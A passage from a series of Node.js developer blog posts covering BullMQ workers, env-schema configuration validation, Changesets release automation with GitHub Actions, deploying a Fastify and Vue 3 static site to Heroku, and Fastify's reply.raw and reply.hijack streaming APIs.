We can hook into events in the worker lifecycle to perform actions when certain events occur. For example, we can hook into the completed event to perform an action when a job is completed. We can also hook into the failed event to perform an action when a job fails.

Add the following to the worker.js file:

workerInstance.on("completed", async (job) => {
    console.log(`[${job.id}] entering job completion stage!`);
    console.log(`[${job.id}] has completed!`);
});

workerInstance.on("failed", (job, err) => {
    console.error(`[${job.id}] has failed with ${err.message}`);
    console.error(err);
});

workerInstance.on("error", (err) => {
    console.error(`WorkerInstance has errored with ${err.message}`);
});

Tip: Avoid try/catch for error handling. You don’t need to customize error handling within the worker handler function. BullMQ automatically catches thrown errors from the function. Next, it retries failed jobs, and moves them to a dead letter queue after a certain number of retries.

Utilizing CPU cores with BullMQ

Node.js, being a single-threaded runtime, can only utilize a single CPU core. This means that if you have a multi-core CPU host assigned to the worker process then you’ll constantly under-utilize your hardware resources. Instead, you can utilize all CPU cores by running multiple instances of the worker. This is often referred to as clustering and it’s a common pattern in Node.js applications.

We can use a small wrapper for Node.js’s built-in clustering capabilities with the throng npm package in order to launch a separate Node.js runtime process for each CPU.

We will change the worker.js file to accompany for throng:

import throng from "throng";

throng({ worker });

// wrap the worker code in a function called `worker` which will then be called by `throng`
// function worker() {
// ... the worker code from previous section
// }

Better BullMQ worker with Dependency Injection

Your background job workers, while deployed separately from your main web APIs, will still need to access your application’s services and dependencies. For example, you may want to access your database, or your file storage service, to which you’ll need to pass the necessary configuration, credentials, and potentially other domain logic.

In order to do this, we can use a dependency injection container to inject dependencies into the worker. We can use the Awilix npm package to do this.

The pattern I suggest is as follows:

The worker is co-located with the Node.js API service/microservice source code it is related to. This way, it can easily access domain logic via high-level abstraction APIs (the services, i.e: FileStorageService, DatabaseService, etc).
The worker is instantiated with a dependency injection layer that is allows the worker to request access to any of the necessary dependencies, just as if it was another HTTP API route handler in the main service.

This will end up looking something like this:

import throng from "throng";
import { Config } from "./services/core/Config.js";
import { DatabaseManager } from "./services/core/db.js";
import { initDI } from "./infra/di.js";
import { WorkerFactory } from "./workers/fileUploadWorker.js";

async function initDatabase(config) {
  // Initialize the database
  const database = new DatabaseManager(config);

  // Ensure database connection is ready
  await database.ping();

  // Return the database instance
  return database;
}

// Load configuration
const configManager = new Config();
const config = await configManager.load();

// Initialize the database
const database = await initDatabase(config);

// Initialize DI
const diContainer = await initDI({ config, database });
const Logger = diContainer.resolve("Logger");
Logger.info(`Worker initialized`);

const worker = WorkerFactory({ container: diContainer });

throng({ worker });

In the above code example, we initialize configuration, and database connection details, then pass these to the dependency injection layer to make them available to DI consumers. As you notice, we wrap the worker code in a Factory Function to make the dependency injection container available to the worker.

The BullMQ producer client

To make this guide complete, we’ll also review shortly the BullMQ client which is responsible to add jobs to the queue for the worker to consume.

It is in fact, as simple as:

import { Queue } from "bullmq";

// Create a new queue instance
const queue = new Queue('uploaded_files_queue', {
    connection: workerConnectionOptions,
});

// Schedule a new job on the queue with:
// 1. a name that is associated with this job
// 2. any metadata this job should include (a JSON object)
queue.add(jobName, jobData);

Tip: BullMQ will default to schedule jobs with a retry attempts value set to 0 which means it won’t retry failed jobs. You can override this by setting the attempts value to a number greater than 1. More on this, jobs are retried immediately unless a delay is specified. You can override this by setting the backoff value be an object with type exponential and a delay specified in milliseconds.

To accommodate for job retries, and other queue house-keeping configuration we can further customize the job queue configuration as follows for when we schedule jobs:


// This configuration can be provided at either the
// queue level or the job level. In this example
// it is set at the job level.
const jobQueueConfig = {
    attempts: 2,
    backoff: {
    type: "exponential",
    delay: 30000,
    },
    removeOnComplete: {
    age: 24 * 3600,
    },
    removeOnFail: {
    age: 24 * 3600,
    },
};

queue.add(jobName, jobData, jobQueueConfig);

Next steps

Don’t forget you have to actually deploy your worker to Heroku. You can do this by running the following command:

git push heroku main

If you are interested in learning more about BullMQ and Redis, I recommend checking out the following resources:

BullMQ documentation: https://docs.bullmq.io/
Redis documentation: https://redis.io/documentation

You’d also want to look into alternative implementations for queue with RabbitMQ and the amqplib npm package.

Configuration Decoded: Lesser-Known Tips for Working with env-schema in Node.js

Mon, 07 Aug 2023 00:00:00 GMT

As Node.js developers, we often find ourselves dealing with various configuration options to tailor our applications for different environments. Configuration management is a critical aspect of building backend servers, allowing us to control the behavior of our applications without modifying the codebase, such as defining database configuration and other parameters.

In this blog post, we will explore the env-schema npm package, an open-source library, part of the Fastify maintainers team, that simplifies configuration management in Node.js apps.

Whether you are a seasoned developer or just starting your Node.js journey, understanding how to manage configurations efficiently is essential for building scalable and maintainable applications.

Introducing env-schema

The env-schema npm package offers a straightforward yet effective solution for handling configuration data in Node.js applications. It enables us to define a schema for our environment variables, ensuring that the required variables are present and have the correct data types. By validating and loading the configuration data, env-schema helps us avoid runtime errors and ensures our application starts with a valid configuration.

To get started, we need to install the package via npm:

npm install env-schema

Now, let’s dive into a code example that demonstrates how to use env-schema in a Node.js application with a schema defining essential configuration variables.

// config.js
const envSchema = require('env-schema');

const schema = {
  type: 'object',
  required: ['PORT', 'DB_USER', 'DB_PASS', 'DB_HOST', 'DB_PORT', 'DB_NAME'],
  properties: {
    PORT: {
      type: 'integer',
      default: 3000,
    },
    DB_USER: {
      type: 'string',
    },
    DB_PASS: {
      type: 'string',
    },
    DB_HOST: {
      type: 'string',
      default: 'localhost',
    },
    DB_PORT: {
      type: 'integer',
      default: 5432,
    },
    DB_NAME: {
      type: 'string',
    },
  },
};

const config = envSchema({ schema });

console.log('Configuration:', config);

In this example, we define a schema object containing the required environment variables (PORT, DB_USER, DB_PASS, DB_HOST, DB_PORT, and DB_NAME). Additionally, we provide default values for some variables to ensure our application works even if they are not explicitly set in the environment.

WARNING: in a production environment you shouldn’t log the configuration due to privacy and security concerns. The use of console.log in the above code snippet is just an example for demonstration purposes.

When you run the application, env-schema will validate the environment variables based on the schema. If any required variables are missing or have incorrect types, it will throw an error with meaningful messages indicating which variables failed validation.

env-schema Nuggets: unlocking hidden configuration features in Node.js

Now that we have a basic understanding of how to use env-schema, let’s explore other useful practices for managing configuration in Node.js apps.

Data loading precedence in env-schema

One essential aspect of configuration management is determining the order of precedence for loading data from different sources. With env-schema, the order of precedence is as follows, from least significant to most:

Data sourced from a .env file (when dotenv configuration option is set).
Data sourced from environment variables in process.env.
Data provided via the data configuration option.

As such, any configuration parameters provided via the data option will always take precedence and override any other values from either the .env file and process’s environment variables.

By understanding this precedence, we can ensure that our application’s configurations are correctly loaded.

Supporting dual-parameters for the same configuration

In some scenarios, you may encounter applications that offer multiple ways to configure the same functionality. For example, instead of specifying individual database configuration variables (DB_USER, DB_PASS, DB_HOST, etc.), you might have a single variable called DATABASE_URL that contains all the necessary information. This approach is common, especially in platforms like Heroku.

To support both methods of configuration, we can use the anyOf schema declaration as part of our required fields. Let’s modify our previous schema to accommodate the DATABASE_URL option:

const schema = {
  type: 'object',
  required: ['PORT', 'HOST'],
  anyOf: [
    {
      required: ['DB_HOST', 'DB_PORT', 'DB_USER', 'DB_PASSWORD', 'DB_NAME'],
    },
    {
      required: ['DATABASE_URL'],
    },
  ],
};

With this updated schema, either specifying individual database variables or providing a DATABASE_URL will be considered valid, making your application more flexible in different environments.

Custom validators in env-schema

When working with configuration management in Node.js using env-schema, most built-in types would work great out of the box. However, there are instances when your application requires more specialized validation for specific configuration variables. This is where custom validators come to the rescue.

Custom validators allow you to define your own validation logic, tailoring it precisely to your application’s needs. Let’s dive into how you can create and use custom validators with env-schema.

Creating a custom validator

To create a custom validator, you need to provide a validation function that accepts a value and returns true if the value is valid or an error message as a string if it fails validation. The error message will be displayed when the configuration variable fails the validation check.

We are going to use Ajv custom validators for this and pass our own Ajv instance to env-schema. Create a config.js file with the following contents:

const { envSchema, str } = require("env-schema");
const Ajv = require("ajv");

function validateApiKey(schema, data) {
  if (!data || typeof data !== "string" || data.length !== 32) {
    validateApiKey.errors = [
      {
        keyword: "apiKeyValidation",
        message: "API key must be a non-empty string of length 32.",
      },
    ];
    return false;
  }
  return true;
}

// Create a new instance of Ajv
const ajv = new Ajv({ allErrors: true, removeAdditional: true });

// Add the custom validation keyword
ajv.addKeyword({
  keyword: "apiKeyValidation",
  validate: validateApiKey,
});

// Schema definition with custom validator
const schema = {
  type: "object",
  properties: {
    API_KEY: {
      default: "",
      apiKeyValidation: true, // Use the custom validation keyword
    },
  },
};

// Applying the schema to environment variables
const config = envSchema({ schema, dotenv: true, ajv });
console.log(config);

In this example, the validateApiKey function checks if the API key is a non-empty string and has a length of exactly 32 characters. If the validation fails, it throws a ValidationError with a descriptive error message. Otherwise, it returns true, indicating that the API key is valid.

Next, create a .env file in the same directory with an API_KEY definition:

API_KEY=1234

And finally, run the config code to see the validation in action:

node config.js

An error should be thrown similar to the following, indicating that the API key is invalid:

/projects/env-schema/node_modules/env-schema/index.js:86
    throw error
    ^

  Error: env/API_KEY API key must be a non-empty string of length 32.

  errors: [
    {
      keyword: 'apiKeyValidation',
      message: 'API key must be a non-empty string of length 32.',
      instancePath: '/API_KEY',
      schemaPath: '#/properties/API_KEY/apiKeyValidation'
    }
  ]

By incorporating the custom validator into your schema, env-schema will automatically apply the validation function to the API_KEY configuration variable during the validation process.

Schema documentation with env-schema

There are times when configuration schemas can become complex, making it challenging for team members to understand the purpose and expected values of each configuration variable.

To address this issue, the schema configuration, supported by Ajv, provides two handy properties for adding documentation to your configuration schema: examples and description.

The examples property allows you to provide usage examples for each configuration variable in your schema. These examples showcase the format and expected values of the configuration, making it easier for developers to understand how to set up the environment variables correctly.
The description property enables you to include a brief description of the configuration variable’s purpose or usage. It acts as a quick summary that provides context and clarity to developers regarding the significance of each configuration setting.

We can build upon the above example to include these documentation properties for the API_KEY configuration variable:

// Schema definition with custom validator
const schema = {
  type: "object",
  properties: {
    API_KEY: {
      default: "",
      apiKeyValidation: true, // Use the custom validation keyword
      description: 'API key for accessing external services',
      examples: ['a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6'],
    },
  },
};

Conclusion

The env-schema npm package offers a fantastic solution for managing configuration in Node.js applications. By defining a schema for your environment variables, you can ensure that the correct configurations are in place for your app to run smoothly. Its validation and data loading precedence features give you confidence that your application starts with a valid and consistent configuration.

Happy coding and may your Node.js apps thrive with the power of env-schema!

Introducing Changesets: Simplify Project Versioning with Semantic Releases

Mon, 17 Jul 2023 00:00:00 GMT

As open source project maintainers, we often encounter challenges when managing project versions and releases. Keeping track of changes, ensuring proper versioning, and automating the release process can be time-consuming and error-prone. Thankfully, open-source tools have emerged to streamline this process, and one such tool is Changesets.

Another tool that enabled maintainers to automate their projects releases and tasks such as publishing a new npm package to the registry or creating a GitHub release is semantic-release.

In fact, semantic-release precedes changesets and I’ve been using it for many of my projects (npq, dockly to name a few) and it works great. It’s straight-forward to setup and configure, and it’s also very flexible and extensible. One of its main benefits is that versioning is done automatically based on the commit messages that are being pushed to the repository and follow the Conventional Commits specification.

Ushering a Change in a Monorepo Project

I’m not a heavy user of monorepos, but I do have one open source project which publishes several connected npm packages and was built as a monorepo with Lerna and Yarn Workspaces.

This project monorepo structure is used by lockfile-lint, which helps developers mitigate supply chain security risks by detecting a lockfile that has been tampered with, also known as a lockfile injection.

Lerna and Yarn had both been great tools but they’ve been outdated in the monorepo. Lerna also had a lot of issues with its maintenance (call for maintainers?) which ended up as being deprecated and later on revived by the community with the help of Nx. Yarn, despite being a great tool by an awesome maintainer, had also its share of big project structures: Yarn, Yarn 2, Yarn 3.

And so with that, and the fact that lockfile_lint receives more than 320,000 downloads a month I went shopping for new, modern tooling to help manage project build, versions, and releases.

Changesets to the Rescue of Monorepos

While I was happy with semantic-release and still using it for non-monorepo projects, there’s no native monorepo support for it. This is where Changesets shines. It addresses the complexities of managing releases within a monorepo, providing a simple and efficient solution.

What is Changesets? Changesets is an open-source project versioning tool that focuses on automating the release process using semantic versioning. It provides a structured way to manage changes and versioning for monorepos, making it easier to maintain and release multiple packages within a single repository.

With Changesets, you can define a set of changes and updates for each package in your monorepo. These changes can include bug fixes, new features, performance improvements, or any other modifications. Changesets allows you to manage these changes and automatically determine the appropriate versioning for each package based on the updates.

How Changesets is different:

Monorepos: Changesets is specifically designed for managing releases in monorepos. It helps you handle the complexities of versioning across multiple packages within a single repository.
Semantic releases but loosely coupled: Semantic versioning is an important concept, but with semantic-release, the version is tightly coupled to the commit messages. Changesets decouples the versioning from the commit messages, allowing you to define changes and updates separately from the commits. This is by far, the biggest change in mindset when choosing Changesets over semantic-release.

Just as with semantic-release, Changesets will seamlessly integrate with your CI/CD pipeline, whether GitHub Actions or others, allowing you to automate the process of versioning and releasing your packages. However, due to its process of requiring a “changeset” to be specified, it does require a manual intervention that triggers the release.

The Core of Changesets: The Changeset

At the heart of Changesets lies the concept of a changeset. A changeset represents a set of changes or updates made to one or more packages within your monorepo. It captures the modifications, such as bug fixes, new features, or performance improvements, and provides the necessary information to determine the appropriate version for each package.

The Changeset Workflow

When working with Changesets, the typical workflow involves creating changesets, calculating new versions, and publishing the updated packages.

Let’s dive into each step of the workflow:

1. Creating Changesets

To create a changeset, you use the npx changeset command. This command opens an interactive prompt that allows you to select the packages you’ve made changes to and specify the type of change:

Patch: A patch represents bug fixes or minor updates that do not introduce any breaking changes. It is denoted by incrementing the patch version number (e.g., 1.0.1 -> 1.0.2).
Minor: A minor change includes new features or enhancements that are backward-compatible. It increments the minor version number (e.g., 1.0.1 -> 1.1.0).
Major: A major change indicates significant updates that introduce breaking changes. It increments the major version number (e.g., 1.0.1 -> 2.0.0).

Additionally, you provide a summary of the changes made in the changeset, helping to document and communicate the modifications effectively.

2. Determining New Versions

Once you have created changesets for your packages, the next step is to determine the new versions for each package. This is where Changesets shines. It analyzes the changesets and intelligently calculates the appropriate version for each package, considering the type of change and the existing version.

Changesets follows semantic versioning principles, which helps ensure that the versioning is consistent and meaningful. By automating this process, Changesets eliminates the need for manual versioning and reduces the chances of human error.

3. Publishing Updated Packages

After the new versions have been determined, you can proceed to publish the updated packages. Changesets provides a command, npx changeset publish, which automates the process of publishing the packages to your configured package registry, such as npm.

This command takes care of updating the package.json files of the affected packages with the new versions. It also creates Git tags for the releases, allowing you to track and reference them easily.

Benefits of the Changeset Approach

The changeset approach in Changesets brings several benefits to your versioning and release management workflow:

Granular Control: By defining changes at the package level, Changesets allows for granular control over versioning. Different packages can have different versions based on their respective changes, providing flexibility and precision.
Clear Documentation: Changesets encourage developers to provide summaries of their changes, helping document modifications effectively. This documentation serves as a valuable resource for the project and facilitates collaboration within teams.
Consistent Versioning: Changesets follow semantic versioning principles, ensuring that version numbers convey the significance of the changes made. This consistency improves communication, compatibility, and the overall stability of your packages.
Automated Release Process: Changesets automates the versioning and release process, reducing manual effort and the likelihood of human error. With a few simple commands, you can calculate new versions and publish the updated packages seamlessly.
Easy Collaboration: By providing a standardized approach to managing changes, Changesets facilitates collaboration among team members. Everyone can easily understand and work with the changesets, ensuring a shared understanding of the project’s evolution.

The changeset-centered workflow in Changesets brings clarity, efficiency, and reliability to your versioning and release management process.

Getting Started with Changesets

Now that you have a good understanding of Changesets, let’s explore how you can get started with it in a project.

Installation

To start using Changesets, you’ll need to install it as a development dependency. Open your terminal and navigate to your project directory. Run the following command to install Changesets using npm:

npm install --save-dev @changesets/cli

I also want to have my releases published to GitHub, so if you want that too, you should also continue to install the GitHub plugin:

npm install --save-dev @changesets/changelog-github

Configuration

Once Changesets is installed, you’ll need to set up the configuration for your project. Changesets provides an easy way to initialize the necessary files and directories.

Run the following command to initialize Changesets:

npx changeset init

This command will create the .changeset directory in your project, which will store your changesets. It also creates a .changeset/config.json file, which contains the configuration for your project.

Following is an example of a Changesets configuration file for a project that is hosted on GitHub at https://github.com/lirantal/astro-keyboard-controls:

{
  "$schema": "https://unpkg.com/@changesets/config@2.3.1/schema.json",
  "changelog": [
    "@changesets/changelog-github",
      {
        "repo": "lirantal/astro-keyboard-controls"
      }
  ],
  "commit": false,
  "fixed": [],
  "linked": [],
  "access": "public",
  "baseBranch": "main",
  "updateInternalDependencies": "patch",
  "ignore": []
}

Creating Changesets

You create a changeset when you want to release a new version of your package. This might be after several pull requests have been made to the main branch, or within a pull request itself. Either way though, the changeset needs to be created.

To create a changeset, use the following command:

npx changeset

This command will open an interactive prompt that guides you through the process of defining changes for each package in your monorepo. You can select the packages, specify the type of change (patch, minor, or major), and provide a summary of the changes.

Versioning and Publishing

Once you have defined your changesets, it’s time to determine the new versions for your packages and publish them. Changesets offers a command that automatically calculates the appropriate versions and prepares your packages for release. This “versioning resolution” process is entirely automated by Changesets and doesn’t require you to manually intervene.

Use the following command to version and publish your packages:

npx changeset version

This command will calculate the new versions based on your changesets and update the package.json files of the affected packages. Additionally, it will create new Git tags for the releases.

To publish your packages on npm, run the following command:

npx changeset publish

Automating Changesets and Package Releases with GitHub Actions CI/CD

The manual part with using the Changesets paradigm is that you need to create a changeset for each release. However, once created, the versioning and release processes can be entirely automated.

In the following example, we’ll use GitHub Actions to automate the package versioning and publishing. We’ll use the official changesets/action GitHub Action, which basically does the following:

Detects if there are any changesets to be published (that are stored in the .changeset directory of the repository. Yes, they need to be committed to the repository in-case you missed that).
If there are changesets, it will run the version command to update the semantic version on packages in this repository, altering their package.json field and next continue to run the publish command which will publish the packages to the configured package registry (e.g. npm).

Here’s the YAML configuration for the above described GitHub Actions workflow:

name: release

on:
  push:
    branches:
      - main

concurrency: ${{ github.workflow }}-${{ github.ref }}

permissions: {}
jobs:
  release:
    permissions:
      contents: write       # to create release (changesets/action)
      issues: write         # to post issue comments (changesets/action)
      pull-requests: write  # to create pull request (changesets/action)
    timeout-minutes: 20
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - uses: actions/setup-node@v3
        with:
          node-version: 18.x
      - name: install dependencies
        run: npm ci
      - name: Create Release Pull Request or Publish to npm
        uses: changesets/action@v1
        with:
          publish: npm run release
          version: npm run version
          commit: "chore: new release"
          title: "chore: new release candidate"
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
          NPM_TOKEN: ${{ secrets.NPM_TOKEN }}

Don’t forget to create a granular npm token for this package to be published via CI/CD and update the repository settings with the NPM_TOKEN secret. Also update your npm run scripts in package.json to include the changeset commands:

{
  "scripts": {
    "version": "changeset version",
    "release": "changeset publish"
  }
}

How does it work in terms of processes and workflows?

The above workflow creates a pull request for each release. You can see an example of a pull request that was created by the workflow here in my lockfile-lint repository
The GitHub Action that initiated the pull request determined the version, updated the package.json files accordingly, and also removed the changeset file itself from the repository (this is configurable, and I opted out of keeping them in the repository).
Once this pull request is merged, the same GitHub Action workflow is triggered again, but now it determines that package.json files have changed (also known as a version drift) from what appears in the npm registry and it publishes the new versions and creates a GitHub release tag. You can see an example of this workflow here.

Summary

Changesets provides an elegant solution for managing project releases in monorepo architectures. By embracing semantic versioning principles and offering an intuitive command-line interface, Changesets simplifies the process of versioning and ensures consistent release management across your packages.

In this blog post, we explored what Changesets is, its common use cases, and how it can benefit your project. We also provided a step-by-step guide to getting started with Changesets, from installation to creating changesets and publishing new versions.

If you’re working with monorepos or collaborating on large-scale projects, give Changesets a try. It will save you time and effort in managing releases and help you maintain a robust versioning workflow for your packages.

Happy publishing!

Deploying a Fastify & Vue 3 Static Site to Heroku

Sat, 08 Jul 2023 00:00:00 GMT

In today’s fast-paced world of web development, deploying static sites has become a common practice.

And I know, you’re thinking “why would anyone deploy static sites (also commonly referred to as SSG) to Heroku?“. Especially these days when modern web hosting exists in the likes of Vercel and Netlify? Well the answer is not as exciting as you’d hope - constraints at work.

Static sites offer numerous benefits such as better performance in the form of less JavaScript on the page, less round-trip HTTP requests, and generally they’re easier to scale. In this article, we will explore how to deploy a Vue 3 static site to Heroku with a Fastify Node.js backend server to serve the static files. By the end, you’ll have a clear understanding of the process and be able to deploy your own static site with ease.

Introduction to Deploying Static Sites

Before we dive into the deployment process, let’s briefly discuss static sites. Unlike dynamic websites that generate content on the server, static sites consist of pre-rendered HTML, CSS, and JavaScript files.

These files are generated once, on build-time, and are later served directly from a web server or cloud native hosting such as AWS’s S3 buckets or other cloud offerings, without the need for server-side processing. This approach results in faster load times and improved performance for end-users. Vercel for example, is well-known for providing stellar performance in this context, as they’re able to leverage AWS’s infrastructure to deliver those static files as close as possible to the user. This is often referred to as “the edge”.

What is Heroku?

Once the pioneer in Platform as a Service (PaaS), Heroku is a cloud platform that enables developers to deploy, manage, and scale applications effortlessly. It supports a wide range of programming languages and frameworks, making it a popular choice for deploying web applications. Heroku provides a streamlined deployment process, automatic scaling, and easy integration with various third-party services.

That said, Heroku isn’t a natural choice for delivering static files. Let’s unravel and understand why.

Why Use a Fastify Node.js Backend Server for Hosting Static Sites?

Heroku, as great as it is, is more suitable for application servers and its common use-case is spinning up web servers (called “dynos”). In the context of static files, this means that we’d have to build a web server (and use it as a dyno) that hosts the static files for the website.

In fact, for performance reasons it is highly recommended to use generic web servers to serve static files, such as nginx or apache http server, over the Node.js runtime.

With Heroku, to keep things simple and comfortable developer ergonomics and good developer experience, we’ll serve these static files with the Fastify Node.js backend server. Fastify is a lightweight and efficient web framework for Node.js, known for its exceptional performance.

By choosing Fastify to serve static files, we can leverage additional functionalities like URL routing, middleware support, and server-side logic if needed and stay within the Node.js user-land development. This combination gives us the flexibility to build complex applications while still enjoying the benefits of a static site architecture.

How to Deploy a Vue 3 Static Site to Heroku with Fastify

Now, let’s dive into the step-by-step process of deploying a Vue 3 static site to Heroku using Fastify. We’ll cover creating a new Heroku app, setting up Fastify to serve Vue 3 static files, and configuring Heroku’s app environment variables for Vite’s build.

1. Create a New Heroku App

The first step is to create a new Heroku app to host our static site. Follow these steps:

Log in to your Heroku account or create a new one if you haven’t already.
Once logged in, navigate to the Heroku dashboard.
Click the “New” button and select “Create new app” and choose the Node.js application framework.
Choose a unique name for your app and select your preferred region.
Click the “Create app” button to create the app.

2. The Vue 3 Static Site Setup

For this project, I scaffolded the Vue 3 frontend application using Vuetify 3 which is a UI component library and it creates the project with: Vue 3 Vuetify 3 Vite

The Vite workflow uses a vite build command to build the static site assets and the default configuration generates all the files in the dist/ directory.

3. Setting up Fastify to Serve Vue 3 Static Files

To serve these files over HTTP we need a Node.js web application.

Now that we have our Heroku app, let’s configure Fastify to serve the Vue 3 static files. Follow these steps:

Create a new directory for your project and navigate into it.
Initialize a new Node.js project using npm init.
Install Fastify as a dependency: npm install --save --ignore-script fastify @fastify/static.
Create a new file named server.js and open it in your preferred code editor. Mine is, well, VS Code, surprise surprise!
We’ll import the Fastify library and set it up to serve static files from the dist/ directory:


const fastify = require("fastify")({ logger: true });
const path = require("path");

fastify.register(require("@fastify/static"), {
  root: path.join(__dirname, "dist"),
  prefix: "/",
});

fastify.setNotFoundHandler(function (request, reply) {
  reply.sendFile("index.html");
});

fastify.listen(
  { port: process.env.PORT || 3000, host: process.env.HOST || "0.0.0.0" },
  (err, address) => {
    if (err) throw err;
  }
);

In this example, we’re using the @fastify/static plugin to serve static files from the dist directory.

You’ll notice we also used a Fastify “not found” handler as a catch-all wildcard for routing. This is relevant for Single Page Applications (SPAs) and a frontend routing setup with client-side browsing history.

4. Configure Heroku’s App Environment Variables for Vite’s Build

To ensure a successful build and deployment of the Vue 3 static site, we need to configure the necessary environment variables in our Heroku app. Specifically, we need to set the NODE_ENV variable to production and configure any other environment variables required by your Vue 3 build process:

Go to your Heroku dashboard and navigate to your app.
Click on the “Settings” tab.
Scroll down to the “Config Vars” section.
Click the “Reveal Config Vars” button.
Add the following environment variables:
NODE_ENV set to production

Additional variables as required by your Vue 3 build process (e.g., VITE_APP_API_URL). These environment variables ensure that Vite, the build tool for Vue 3, optimizes the production build accordingly.

Deploying to Heroku

Now that everything is set up, let’s deploy our Vue 3 static site to Heroku:

Commit your project to a version control system like Git.
In your terminal, log in to Heroku using the command heroku login.
Link your local project directory to the Heroku app by running heroku git:remote -a <your-app-name>.
Deploy your code to Heroku by executing git push heroku main.
Heroku will receive your code, build the application, and deploy it to a dyno. Once the deployment process completes, you can access your deployed Vue 3 static site by visiting your Heroku app’s URL.

Conclusion

Deploying a Vue 3 static site to Heroku with a Fastify Node.js backend server offers developers the benefits of a static site architecture while retaining the flexibility to add server-side functionalities when necessary.

Indeed, Heroku isn’t a native frontend hosting platform but by following the steps outlined in this article, you can easily deploy your own static site to Heroku. Thanks to Fastify’s edge for performance and being a robust web application framework we can rely on it as a web server to serve our Vue 3 static sites.

Happy coding and deploying!

Avoid Fastify's reply.raw and reply.hijack Despite Being A Powerful HTTP Streams Tool

Fri, 30 Jun 2023 00:00:00 GMT

As web developers, we often encounter situations where we need fine-grained control over the HTTP request and response process. It might be about handling large file uploads, implementing real-time features, or building proxy servers. Either way, having the ability to manipulate data streams in real-time can be a game-changer and a powerful tool.

Fastify, the blazing-fast web framework for Node.js, exposes a powerful set of HTTP response APIs via reply.raw and reply.hijack() that allows us to take control of the HTTP stream. As they say though, with great power comes great responsibility.

In this article, we will explore what reply.hijack() is and why avoiding raw HTTP replies via reply.raw should be a last resort.

Understanding `reply.raw`

Fastify’s reply.raw grants developers access to the low-level API of Node.js’s underlying HTTP subsystem.

reply.raw is a method provided by Fastify that exposes the underlying Node.js http.ServerResponse object. This grants developers direct access to the low-level HTTP interface, allowing them to perform advanced operations and customization that go beyond the traditional abstractions offered by the framework.

Other reasons developers might turn to Fastify’s reply.raw could be to gain the ability to manipulate headers, handle data streams directly, and perform other low-level operations. This level of control is particularly valuable in scenarios where precise optimizations, customization, or integration with other Node.js libraries are necessary.

Raw HTTP replies use-case: Server-Sent Events

One practical use-case where reply.raw shines is in implementing Server-Sent Events (SSE). SSE enables servers to push real-time updates to clients over a single HTTP connection. With reply.raw, we can effortlessly stream events to clients in a controlled and optimized manner.

Let’s consider an example:

fastify.get('/stream', async (request, reply) => {
  const { res } = reply.raw;
  
  res.setHeader('Content-Type', 'text/event-stream');
  res.setHeader('Cache-Control', 'no-cache');
  res.setHeader('Connection', 'keep-alive');
  
  res.write('data: Welcome!\n\n');
  
  // Send a new event every second
  setInterval(() => {
    res.write(`data: Event ${Date.now()}\n\n`);
  }, 1000);
});

What is reply.hijack()?

Let’s dive deeper into raw HTTP replies in Fastify web applications and meet reply.hijack().

reply.hijack() is a method provided by Fastify that allows you to “hijack” the underlying HTTP stream and take control of its read and write operations. When you call this method, Fastify hands over the socket and allows you to interact with it directly. This means you can bypass the framework’s usual request-response flow and handle the stream at a low level.

Specifically, when you call reply.hijack() then Fastify knows you want to complete sending the HTTP response by yourself using raw replies.

The Fastify documentation shows a code example for aborting Fastify’s own reply.send() and instead controlling the response stream yourself:

app.get('/', (req, reply) => {
  reply.hijack()
  reply.raw.end('hello world')

  return Promise.resolve('this will be skipped')
})

Important to point out - in the above code, Fastify won’t be appending any HTTP headers.

Use-case: Proxy servers

One example use-case might be to use reply.hijack() to build proxy servers, where you need to forward requests to another server while modifying or intercepting the data being sent or received.

By hijacking the stream, you can act as a middleware, inspecting and manipulating the incoming and outgoing data.

Let’s consider a simple example:

fastify.get('/proxy', async (request, reply) => {
  reply.hijack();
  const { socket } = reply.raw;
  
  // Forward the request to the target server
  const targetSocket = net.connect(8000, 'target-server.com');
  socket.pipe(targetSocket).pipe(socket);
});

In this example, when a GET request is made to /proxy, we establish a connection to a target server. By piping the sockets together, we create a transparent proxy, forwarding the data from the client to the target server and vice versa. With reply.hijack(), we have full control over the proxy behavior and can apply custom logic to modify or analyze the data being exchanged.

Why should you avoid Fastify’s `reply.raw` and `reply.hijack()`

While this set of APIs makes a powerful tool to control HTTP responses, it also hides an important high-level concept when working within a framework.

If it wasn’t clear until now - when you resort to raw HTTP responses then you skip and bypass the entire HTTP response logic by Fastify, including onRequest hooks and other response lifecycle operations.

This seems logical at first but when you take a step back and consider the entire web concerns for any reasonable web application then you soon realize where hijacking Fastify’s response hooks for raw HTTP responses misses out:

CORS: if you enabled CORS via something like @fastify/cors then no CORS related headers will be added to the response and you’d need to manually do that in the route you hijacked the response.
Authentication: if you enabled some sort of authentication plugin such as @fastify/jwt which often adds an onRequest server handler to verify a JWT token such as await request.jwtVerify(); then you’ve completely bypassed that too.

Fastify raw HTTP replies with reply.hijack and reply.raw: Pitfalls and Considerations

While reply.hijack() offers immense power and flexibility, it’s essential to understand its potential pitfalls and considerations:

Increased complexity: by using reply.hijack(), you’re essentially bypassing Fastify’s built-in request-response flow. This can introduce complexity, as you’re responsible for handling low-level operations such as data parsing, error handling, and managing the socket’s lifecycle. It’s crucial to have a solid understanding of network protocols and the underlying stream mechanics to handle these complexities effectively.
Risk of blocking: since reply.hijack() allows you to control the HTTP stream in real-time, it’s essential to avoid blocking operations. Long-running or computationally expensive tasks can lead to blocking the event loop (think: RegEx for example), affecting the performance and responsiveness of your application.

A better alternative to raw requests with Fastify’s stream responses

If your raw HTTP responses use-case is about modifying response on-the-fly, then you can achieve that by working with streams. And hey, after all, HTTP is streamable data protocol.

And with that, consider the following example:

import Fastify from "fastify";
import { Readable } from "stream";

const server = Fastify();

server.post("/", async (request, reply) => {
  const readableStream = new Readable();
  readableStream._read = () => {};

  reply.header("Content-Type", "application/json; charset=utf-8");
  reply.send(readableStream);

  // Simulate asynchronous processing of the request
  setTimeout(() => {
    // Push the desired data down the stream
    readableStream.push(JSON.stringify({ message: "Hello, world!" }));
  }, 1000);


  // Nothing else to do after 5 seconds so we close the stream
  setTimeout(() => {
    // Push the desired data down the stream
    readableStream.push(null); // End the stream when the client closes the connection
  }, 5000);


  return reply;
});

server.listen(3000, (err) => {
  if (err) {
    console.error("Error starting server:", err);
    process.exit(1);
  }
  console.log("Server listening on port 3000");
});

In the above we use a readable stream that we pipe to Fastify via reply.send(readableStream). Since Fastify natively supports streams, it allows us to continue piping data to the stream until we want to denote that we’re finished (via readableStream.push(null)) at which point the HTTP response ends.

